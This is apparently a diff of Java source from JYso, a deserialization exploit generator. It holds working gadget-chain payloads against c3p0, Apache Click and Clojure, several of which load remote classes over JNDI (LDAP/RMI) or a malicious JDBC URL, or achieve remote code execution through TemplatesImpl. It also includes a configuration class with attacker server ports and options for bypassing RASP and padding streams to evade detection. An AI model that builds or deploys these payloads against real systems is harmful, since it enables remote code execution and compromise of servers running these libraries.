import java.io.PrintWriter;
import java.util.logging.Logger;
/**
* C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
*/
@SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"})
@Authors({Authors.MBECHLER})
public class C3P092 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf(':');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
// 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID
ClassPool pool = new ClassPool();
pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource")));
final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource");
ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;");
// mock method name until armed
final Class<?> clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
);
Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource);
Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String className;
private final String url;
public PoolSource(String className, String url) {
this.className = className;
this.url = url;
}
public Reference getReference() {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter() {
return null;
}
public void setLogWriter(PrintWriter out) {
}
public int getLoginTimeout() {
return 0;
}
public void setLoginTimeout(int seconds) {
}
public Logger getParentLogger() {
return null;
}
public PooledConnection getPooledConnection() {
return null;
}
public PooledConnection getPooledConnection(String user, String password) {
return null;
}
}
}
@@ -1,39 +1,39 @@
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.mchange.v2.c3p0.ComboPooledDataSource;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
@SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.UNAM4})
public class C3P0JDBC implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
if (!command.toLowerCase().startsWith("jdbc:")) {
throw new Exception("Command format is: eviljdbcurl");
}
ComboPooledDataSource o = new ComboPooledDataSource();
o.setJdbcUrl(command);
o.setMaxIdleTime(1);
o.setMaxPoolSize(1);
JSONArray jsonArray = new JSONArray();
jsonArray.add(o);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
HashMap<ComboPooledDataSource, BadAttributeValueExpException> hashMap = new HashMap<>();
hashMap.put(o, val);
return hashMap;
}
}
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.mchange.v2.c3p0.ComboPooledDataSource;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
@SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.UNAM4})
public class C3P0JDBC implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
if (!command.toLowerCase().startsWith("jdbc:")) {
throw new Exception("Command format is: eviljdbcurl");
}
ComboPooledDataSource o = new ComboPooledDataSource();
o.setJdbcUrl(command);
o.setMaxIdleTime(1);
o.setMaxPoolSize(1);
JSONArray jsonArray = new JSONArray();
jsonArray.add(o);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
HashMap<ComboPooledDataSource, BadAttributeValueExpException> hashMap = new HashMap<>();
hashMap.put(o, val);
return hashMap;
}
}
@@ -1,41 +1,41 @@
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
@SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.UNAM4})
public class C3P0JNDI implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
if (command.toLowerCase().startsWith("jndi:")) {
command = command.substring(5);
}
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
}
Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
Reflections.setFieldValue(o, "jndiName", command);
Reflections.setFieldValue(o, "identityToken", "exp");
JSONArray jsonArray = new JSONArray();
jsonArray.add(o);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
HashMap<Object, BadAttributeValueExpException> hashMap = new HashMap<>();
hashMap.put(o, val);
return hashMap;
}
}
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
@SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.UNAM4})
public class C3P0JNDI implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
if (command.toLowerCase().startsWith("jndi:")) {
command = command.substring(5);
}
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
}
Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
Reflections.setFieldValue(o, "jndiName", command);
Reflections.setFieldValue(o, "identityToken", "exp");
JSONArray jsonArray = new JSONArray();
jsonArray.add(o);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
HashMap<Object, BadAttributeValueExpException> hashMap = new HashMap<>();
hashMap.put(o, val);
return hashMap;
}
}
@@ -1,40 +1,40 @@
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
@SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.UNAM4})
public class C3P0JNDI2 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
if (command.toLowerCase().startsWith("jndi:")) {
command = command.substring(5);
}
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
}
JndiRefConnectionPoolDataSource o = new JndiRefConnectionPoolDataSource();
o.setJndiName(command);
JSONArray jsonArray = new JSONArray();
jsonArray.add(o);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
HashMap<JndiRefConnectionPoolDataSource, BadAttributeValueExpException> hashMap = new HashMap<>();
hashMap.put(o, val);
return hashMap;
}
}
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
@SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.UNAM4})
public class C3P0JNDI2 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
if (command.toLowerCase().startsWith("jndi:")) {
command = command.substring(5);
}
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
}
JndiRefConnectionPoolDataSource o = new JndiRefConnectionPoolDataSource();
o.setJndiName(command);
JSONArray jsonArray = new JSONArray();
jsonArray.add(o);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
HashMap<JndiRefConnectionPoolDataSource, BadAttributeValueExpException> hashMap = new HashMap<>();
hashMap.put(o, val);
return hashMap;
}
}
@@ -1,15 +1,15 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
@SuppressWarnings({"rawtypes", "unused"})
public class C3P0RefDataSource implements ObjectPayload {
@Override
public Object getObject(String command) throws Exception {
Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource"));
// requires ordering
Reflections.setFieldValue(obj, "jndiName", command);
Reflections.setFieldValue(obj, "loginTimeout", 0);
return obj;
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
@SuppressWarnings({"rawtypes", "unused"})
public class C3P0RefDataSource implements ObjectPayload {
@Override
public Object getObject(String command) throws Exception {
Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource"));
// requires ordering
Reflections.setFieldValue(obj, "jndiName", command);
Reflections.setFieldValue(obj, "loginTimeout", 0);
return obj;
}
}
@@ -1,42 +1,42 @@
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Hex;
import javax.naming.Name;
import javax.naming.Reference;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.net.URI;
import java.util.Hashtable;
@SuppressWarnings({"unused"})
public class C3P0WrapperConnPool implements ObjectPayload<Object> {
public static String makeC3P0UserOverridesString(String codebase, String clazz) throws ClassNotFoundException, NoSuchMethodException,
InstantiationException, IllegalAccessException, InvocationTargetException, IOException {
ByteArrayOutputStream b = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(b)) {
Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$
Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
con.setAccessible(true);
Reference jndiref = new Reference("Foo", clazz, codebase);
Object ref = con.newInstance(jndiref, null, null, null);
oos.writeObject(ref);
}
return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$
}
@Override
public Object getObject(String command) throws Exception {
URI uri = new URI(command);
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class);
Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[0], args[1]));
return obj;
}
}
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Hex;
import javax.naming.Name;
import javax.naming.Reference;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.net.URI;
import java.util.Hashtable;
@SuppressWarnings({"unused"})
public class C3P0WrapperConnPool implements ObjectPayload<Object> {
public static String makeC3P0UserOverridesString(String codebase, String clazz) throws ClassNotFoundException, NoSuchMethodException,
InstantiationException, IllegalAccessException, InvocationTargetException, IOException {
ByteArrayOutputStream b = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(b)) {
Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$
Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
con.setAccessible(true);
Reference jndiref = new Reference("Foo", clazz, codebase);
Object ref = con.newInstance(jndiref, null, null, null);
oos.writeObject(ref);
}
return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$
}
@Override
public Object getObject(String command) throws Exception {
URI uri = new URI(command);
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class);
Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[0], args[1]));
return obj;
}
}
+78 -78
View File
@@ -1,78 +1,78 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.click.control.Column;
import org.apache.click.control.Table;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
* We use java.util.PriorityQueue to trigger ColumnComparator.compare().
* After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
* <p>
* Chain:
* <p>
* java.util.PriorityQueue.readObject()
* java.util.PriorityQueue.heapify()
* java.util.PriorityQueue.siftDown()
* java.util.PriorityQueue.siftDownUsingComparator()
* org.apache.click.control.Column$ColumnComparator.compare()
* org.apache.click.control.Column.getProperty()
* org.apache.click.control.Column.getProperty()
* org.apache.click.util.PropertyUtils.getValue()
* org.apache.click.util.PropertyUtils.getObjectPropertyValue()
* java.lang.reflect.Method.invoke()
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
* ...
* <p>
* Arguments:
* - command to execute
* <p>
* Yields:
* - RCE via TemplatesImpl.getOutputProperties()
* <p>
* Requires:
* - Apache Click
* - servlet-api of any version
* <p>
* by @artsploit
*/
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
@Authors({Authors.ARTSPLOIT})
public class Click1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
// prepare a Column.comparator with mock values
final Column column = new Column("lowestSetBit");
column.setTable(new Table());
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
// create queue with numbers and our comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by the comparator,
// so it will trigger getOutputProperties() when objects in the queue are compared
column.setName("outputProperties");
// finally, we inject and new TemplatesImpl object into the queue,
// so its getOutputProperties() method will be called
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
final Object template;
template = Gadgets.createTemplatesImpl(command);
queueArray[0] = template;
return queue;
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.click.control.Column;
import org.apache.click.control.Table;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
* We use java.util.PriorityQueue to trigger ColumnComparator.compare().
* After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
* <p>
* Chain:
* <p>
* java.util.PriorityQueue.readObject()
* java.util.PriorityQueue.heapify()
* java.util.PriorityQueue.siftDown()
* java.util.PriorityQueue.siftDownUsingComparator()
* org.apache.click.control.Column$ColumnComparator.compare()
* org.apache.click.control.Column.getProperty()
* org.apache.click.control.Column.getProperty()
* org.apache.click.util.PropertyUtils.getValue()
* org.apache.click.util.PropertyUtils.getObjectPropertyValue()
* java.lang.reflect.Method.invoke()
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
* ...
* <p>
* Arguments:
* - command to execute
* <p>
* Yields:
* - RCE via TemplatesImpl.getOutputProperties()
* <p>
* Requires:
* - Apache Click
* - servlet-api of any version
* <p>
* by @artsploit
*/
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
@Authors({Authors.ARTSPLOIT})
public class Click1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
// prepare a Column.comparator with mock values
final Column column = new Column("lowestSetBit");
column.setTable(new Table());
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
// create queue with numbers and our comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by the comparator,
// so it will trigger getOutputProperties() when objects in the queue are compared
column.setName("outputProperties");
// finally, we inject and new TemplatesImpl object into the queue,
// so its getOutputProperties() method will be called
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
final Object template;
template = Gadgets.createTemplatesImpl(command);
queueArray[0] = template;
return queue;
}
}
@@ -1,51 +1,51 @@
package com.qi4l.JYso.gadgets;
import clojure.core$comp;
import clojure.core$constantly;
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
import clojure.lang.PersistentArrayMap;
import clojure.main$eval_opt;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.clojure.ClojureUtil;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES;
/**
* Gadget chain:
* ObjectInputStream.readObject()
* HashMap.readObject()
* AbstractTableModel$ff19274a.hashCode()
* clojure.core$comp$fn__4727.invoke()
* clojure.core$constantly$fn__4614.invoke()
* clojure.main$eval_opt.invoke()
* <p>
* Requires:
* org.clojure:clojure
* Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
*/
@SuppressWarnings({"unused"})
@Dependencies({"org.clojure:clojure:1.8.0"})
@Authors({JACKOFMOSTTRADES})
public class Clojure implements ObjectPayload<Map<?, ?>> {
public Map<?, ?> getObject(String command) throws Exception {
String clojurePayload = ClojureUtil.makeClojurePayload(command);
Map<String, Object> fnMap = new HashMap<>();
fnMap.put("hashCode", (new core$constantly()).invoke(0));
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
HashMap<Object, Object> targetMap = new HashMap<>();
targetMap.put(model, null);
fnMap.put("hashCode", (new core$comp())
.invoke(new main$eval_opt(), (new core$constantly())
.invoke(clojurePayload)));
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
return targetMap;
}
}
package com.qi4l.JYso.gadgets;
import clojure.core$comp;
import clojure.core$constantly;
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
import clojure.lang.PersistentArrayMap;
import clojure.main$eval_opt;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.clojure.ClojureUtil;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES;
/**
* Gadget chain:
* ObjectInputStream.readObject()
* HashMap.readObject()
* AbstractTableModel$ff19274a.hashCode()
* clojure.core$comp$fn__4727.invoke()
* clojure.core$constantly$fn__4614.invoke()
* clojure.main$eval_opt.invoke()
* <p>
* Requires:
* org.clojure:clojure
* Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
*/
@SuppressWarnings({"unused"})
@Dependencies({"org.clojure:clojure:1.8.0"})
@Authors({JACKOFMOSTTRADES})
public class Clojure implements ObjectPayload<Map<?, ?>> {
public Map<?, ?> getObject(String command) throws Exception {
String clojurePayload = ClojureUtil.makeClojurePayload(command);
Map<String, Object> fnMap = new HashMap<>();
fnMap.put("hashCode", (new core$constantly()).invoke(0));
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
HashMap<Object, Object> targetMap = new HashMap<>();
targetMap.put(model, null);
fnMap.put("hashCode", (new core$comp())
.invoke(new main$eval_opt(), (new core$constantly())
.invoke(clojurePayload)));
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
return targetMap;
}
}
@@ -1,174 +1,174 @@
package com.qi4l.JYso.gadgets.Config;
import com.beust.jcommander.JCommander;
import com.beust.jcommander.Parameter;
import com.beust.jcommander.UnixStyleUsageFormatter;
import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.StringUtil;
import javassist.ClassPool;
import org.fusesource.jansi.Ansi;
import java.util.*;
public class Config {
public static String codeBase;
@Parameter(names = {"-i", " --ip"}, description = "Local ip address ", order = 1)
public static String ip = "0.0.0.0";
@Parameter(names = {"-lP", "--ldapPort"}, description = "Ldap bind port", order = 2)
public static int ldapPort = 1389;
@Parameter(names = {"-lPs", "--ldapsPort"}, description = "Ldaps bind port", order = 2)
public static int ldapsPort = 1669;
@Parameter(names = {"-rP", "--rmiPort"}, description = "rmi bind port", order = 2)
public static int rmiPort = 1099;
@Parameter(names = {"-hP", "--httpPort"}, description = "Http bind port", order = 3)
public static int httpPort = 3456;
@Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command")
public static String command = "whoami";
@Parameter(names = {"-v", " --version"}, help = true, description = "Show version", order = 5)
public static boolean showVersion;
@Parameter(names = {"-ga", " --gadgets"}, help = true, description = "Show gadgets", order = 5)
public static boolean showGadgets;
@Parameter(names = {"-ak", " --AESkey"}, description = "AES+BAse64 decryption of routes", order = 5)
public static String AESkey = "123";
@Parameter(names = {"-u", " --user"}, help = true, description = "ldap bound account", order = 5)
public static String USER = "";
@Parameter(names = {"-p", " --PASSWD"}, help = true, description = "ldap binding password", order = 5)
public static String PASSWD = "";
@Parameter(names = {"-t", " --LdapsServer"}, help = true, description = "TLS port forwarding", order = 5)
public static boolean TLSProxy = false;
@Parameter(names = {"-kP", " --keyPass"}, help = true, description = "JKS key password", order = 5)
public static String keyPass = "";
@Parameter(names = {"-cF", " --certFile"}, help = true, description = "JKS certificate file Path", order = 5)
public static String certFile = "";
@Parameter(names = {"-j", "--jndi"}, help = true, description = "starter", order = 5)
public static boolean jndi = false;
public static String rhost;
public static String rport;
// 从HTTP外部获取路由值
public static String ROUTE = "";
// 从HTTP外部获取参数值
public static String BCEL1 = "";
// 恶意类是否继承 AbstractTranslet
public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false;
//是否使用反射绕过RASP
public static Boolean IS_OBSCURE = false;
// 是否在序列化数据流中的 TC_RESET 中填充脏数据
public static Boolean IS_DIRTY_IN_TC_RESET = false;
public static Boolean IS_UTF_Bypass = false;
// 填充的脏数据长度
public static int DIRTY_LENGTH_IN_TC_RESET = 0;
// DefineClassFromParameter 的路径
public static String PARAMETER = "dc";
// 将输入直接写在文件里
public static String FILE = "out.ser";
public static Boolean WRITE_FILE = false;
public static Boolean BASE64 = false;
// 是否强制使用 org.apache.XXX.TemplatesImpl
public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false;
// 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader
public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false;
// ScriptEngineManager 是否为 RHINO 引擎
public static boolean USING_RHINO = false;
public static ClassPool POOL = ClassPool.getDefault();
@Parameter(names = {"-h", " --help"}, help = true, description = "Show this help")
private static boolean help = false;
@SuppressWarnings({"InstantiationOfUtilityClass","HttpUrlsUsage"})
public static void applyCmdArgs(String[] args) {
//process cmd args
JCommander jc = JCommander.newBuilder()
.addObject(new Config())
.build();
try {
jc.parse(args);
} catch (Exception e) {
System.out.println("Error: " + e.getMessage() + "\n");
help = true;
}
if (showGadgets) {
final List<Class<? extends ObjectPayload<?>>> payloadClasses =
new ArrayList<>(ObjectPayload.Utils.getPayloadClasses());
payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize
final List<String[]> rows = new LinkedList<>();
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
rows.add(new String[]{"-------", "-------", "------------"});
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
rows.add(new String[]{
payloadClass.getSimpleName(),
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
});
}
final List<String> lines = StringUtil.formatTable(rows);
for (String line : lines) {
System.out.println(" " + line);
}
System.exit(0);
}
if (showVersion) {
System.exit(0);
}
//获取当前 Jar 的名称
jc.setProgramName("java -jar JYso.jar");
jc.setUsageFormatter(new UnixStyleUsageFormatter(jc));
if (help) {
jc.usage(); //if -h specified, show help and exit
System.exit(0);
}
// 特别注意:最后一个反斜杠不能少啊
Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/";
}
public static void logo() {
String logo = " ┏┳┓┏ \n" +
" ┃┗┫┏┏┓ \n" +
" ┗┛┗┛┛┗┛ ";
// 高亮颜色代码(不包括黑色)
Ansi.Color[] colors = {
Ansi.Color.RED,
Ansi.Color.GREEN,
Ansi.Color.YELLOW,
Ansi.Color.BLUE,
Ansi.Color.MAGENTA,
Ansi.Color.CYAN,
Ansi.Color.WHITE
};
Random random = new Random();
StringBuilder coloredLogo = new StringBuilder();
for (char c : logo.toCharArray()) {
if (c != ' ' && c != '\n') {
// 选择一个随机的高亮颜色
Ansi.Color color = colors[random.nextInt(colors.length)];
coloredLogo.append(Ansi.ansi().fgBright(color).a(c).reset());
} else {
// 保持空格和换行符
coloredLogo.append(c);
}
}
System.out.println(coloredLogo);
}
}
package com.qi4l.JYso.gadgets.Config;
import com.beust.jcommander.JCommander;
import com.beust.jcommander.Parameter;
import com.beust.jcommander.UnixStyleUsageFormatter;
import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.StringUtil;
import javassist.ClassPool;
import org.fusesource.jansi.Ansi;
import java.util.*;
public class Config {
public static String codeBase;
@Parameter(names = {"-i", " --ip"}, description = "Local ip address ", order = 1)
public static String ip = "0.0.0.0";
@Parameter(names = {"-lP", "--ldapPort"}, description = "Ldap bind port", order = 2)
public static int ldapPort = 1389;
@Parameter(names = {"-lPs", "--ldapsPort"}, description = "Ldaps bind port", order = 2)
public static int ldapsPort = 1669;
@Parameter(names = {"-rP", "--rmiPort"}, description = "rmi bind port", order = 2)
public static int rmiPort = 1099;
@Parameter(names = {"-hP", "--httpPort"}, description = "Http bind port", order = 3)
public static int httpPort = 3456;
@Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command")
public static String command = "whoami";
@Parameter(names = {"-v", " --version"}, help = true, description = "Show version", order = 5)
public static boolean showVersion;
@Parameter(names = {"-ga", " --gadgets"}, help = true, description = "Show gadgets", order = 5)
public static boolean showGadgets;
@Parameter(names = {"-ak", " --AESkey"}, description = "AES+BAse64 decryption of routes", order = 5)
public static String AESkey = "123";
@Parameter(names = {"-u", " --user"}, help = true, description = "ldap bound account", order = 5)
public static String USER = "";
@Parameter(names = {"-p", " --PASSWD"}, help = true, description = "ldap binding password", order = 5)
public static String PASSWD = "";
@Parameter(names = {"-t", " --LdapsServer"}, help = true, description = "TLS port forwarding", order = 5)
public static boolean TLSProxy = false;
@Parameter(names = {"-kP", " --keyPass"}, help = true, description = "JKS key password", order = 5)
public static String keyPass = "";
@Parameter(names = {"-cF", " --certFile"}, help = true, description = "JKS certificate file Path", order = 5)
public static String certFile = "";
@Parameter(names = {"-j", "--jndi"}, help = true, description = "starter", order = 5)
public static boolean jndi = false;
public static String rhost;
public static String rport;
// 从HTTP外部获取路由值
public static String ROUTE = "";
// 从HTTP外部获取参数值
public static String BCEL1 = "";
// 恶意类是否继承 AbstractTranslet
public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false;
